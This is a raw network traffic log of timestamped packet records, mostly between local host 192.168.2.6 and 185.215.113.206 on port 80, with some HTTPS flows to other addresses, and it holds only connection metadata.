Nov 12, 2024 13:35:40.181472063 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.181483030 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.181493998 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.181497097 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.181497097 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.181497097 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.181591034 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.182065964 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.182076931 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.182085991 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.182097912 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.182109118 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.182118893 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.182120085 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.182131052 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.182142973 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.182148933 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.182148933 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.182152987 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.182164907 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.182169914 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.182177067 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.182188034 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.182198048 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.182210922 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.182215929 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.182221889 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.182233095 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.182235956 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.182235956 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.182245970 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.182255983 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.182267904 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.182413101 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.182586908 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.182605982 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.182620049 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.182630062 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.182641983 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.182652950 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.182660103 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.182660103 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.182663918 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.182679892 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.182692051 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.182692051 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.182692051 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.182702065 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.182712078 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.182728052 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.182735920 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.182739973 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.182761908 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.182882071 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.185627937 CET	443	62206	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.185688972 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.185713053 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.185847044 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.185847044 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.185868025 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.186265945 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.186340094 CET	443	62206	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.186369896 CET	443	62206	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.186466932 CET	62206	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:40.186466932 CET	62206	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:40.186533928 CET	62206	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:40.186547041 CET	443	62206	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.186613083 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.186628103 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.186683893 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.186690092 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.186711073 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.186913967 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.187704086 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.187719107 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.187899113 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.187903881 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.187972069 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.188231945 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.188246965 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.188390970 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.188396931 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.188460112 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.190268040 CET	62212	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:40.190299988 CET	443	62212	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.194617987 CET	62212	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:40.194739103 CET	62212	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:40.194753885 CET	443	62212	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.227679968 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.227725029 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.227735996 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.227751970 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.227813959 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.227824926 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.227827072 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.227835894 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.227847099 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.227875948 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.227967978 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.273237944 CET	443	62210	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.273657084 CET	62210	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:40.273668051 CET	443	62210	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.274204969 CET	443	62208	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.274254084 CET	62210	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:40.274260044 CET	443	62210	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.274435997 CET	62208	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:40.274444103 CET	443	62208	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.276057959 CET	62208	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:40.276062965 CET	443	62208	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.295253992 CET	443	62207	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.295267105 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.295351028 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.295361996 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.295372009 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.295382023 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.295383930 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.295401096 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.295428991 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.295460939 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.295480967 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.295492887 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.295504093 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.295511961 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.295531988 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.295533895 CET	443	62207	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.295586109 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.295598030 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.295609951 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.295620918 CET	62207	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:40.295640945 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.295654058 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.295686007 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.295777082 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.295803070 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.295814037 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.295824051 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.295839071 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.295850039 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.295890093 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.295890093 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.295979023 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.295988083 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.295999050 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.296009064 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.296017885 CET	62207	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:40.296017885 CET	62207	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:40.296019077 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.296030045 CET	443	62207	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.296035051 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.296036005 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.296039104 CET	443	62207	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.296046972 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.296057940 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.296067953 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.296072006 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.296078920 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.296091080 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.296104908 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.296124935 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.296243906 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.296291113 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.296302080 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.296313047 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.296353102 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.296359062 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.296370029 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.296380043 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.296391010 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.296401024 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.296441078 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.296463966 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.296546936 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.296557903 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.296612024 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.296623945 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.296636105 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.296648979 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.296653032 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.296663046 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.296680927 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.296686888 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.296691895 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.296700954 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.296700954 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.296756983 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.296855927 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.296871901 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.296890020 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.296901941 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.296911001 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.296930075 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.296933889 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.296933889 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.296964884 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.297000885 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.297440052 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.297451019 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.297461033 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.297473907 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.297491074 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.297502041 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.297503948 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.297513008 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.297522068 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.297523975 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.297539949 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.297548056 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.297550917 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.297569990 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.297573090 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.297585964 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.297596931 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.297606945 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.297606945 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.297619104 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.297636032 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.297646046 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.297653913 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.297653913 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.297657967 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.297667980 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.297678947 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.297696114 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.297703028 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.297707081 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.297707081 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.297763109 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.297772884 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.297784090 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.297796011 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.297812939 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.297812939 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.297826052 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.297836065 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.297853947 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.297887087 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.297887087 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.297987938 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.298000097 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.298010111 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.298064947 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.298115969 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.298126936 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.298136950 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.298162937 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.298162937 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.298173904 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.298183918 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.298191071 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.298196077 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.298208952 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.298218966 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.298228025 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.298228025 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.298230886 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.298283100 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.298283100 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.298479080 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.298491001 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.298602104 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.298614025 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.298619032 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.298623085 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.298635006 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.298646927 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.298659086 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.298660994 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.298660994 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.298669100 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.298681974 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.298692942 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.298703909 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.298708916 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.298715115 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.298738956 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.298738956 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.298820972 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.298984051 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.298995972 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.299005985 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.299063921 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.299091101 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.299124002 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.299135923 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.299146891 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.299160004 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.299170971 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.299181938 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.299192905 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.299200058 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.299200058 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.299204111 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.299207926 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.299216032 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.299230099 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.299241066 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.299254894 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.299261093 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.299474955 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.299649954 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.299660921 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.299669981 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.299680948 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.299691916 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.299702883 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.299712896 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.299724102 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.299731016 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.299735069 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.299747944 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.299750090 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.299758911 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.299768925 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.299774885 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.299782038 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.299792051 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.299803019 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.299804926 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.299804926 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.299813986 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.299841881 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.299947023 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.300147057 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.300158024 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.300168037 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.300179005 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.300189972 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.300199032 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.300209999 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.300221920 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.300225019 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.300225019 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.300231934 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.300244093 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.300251007 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.300255060 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.300265074 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.300275087 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.300280094 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.300280094 CET	51556	80	192.168.2.6	185.215.113.206
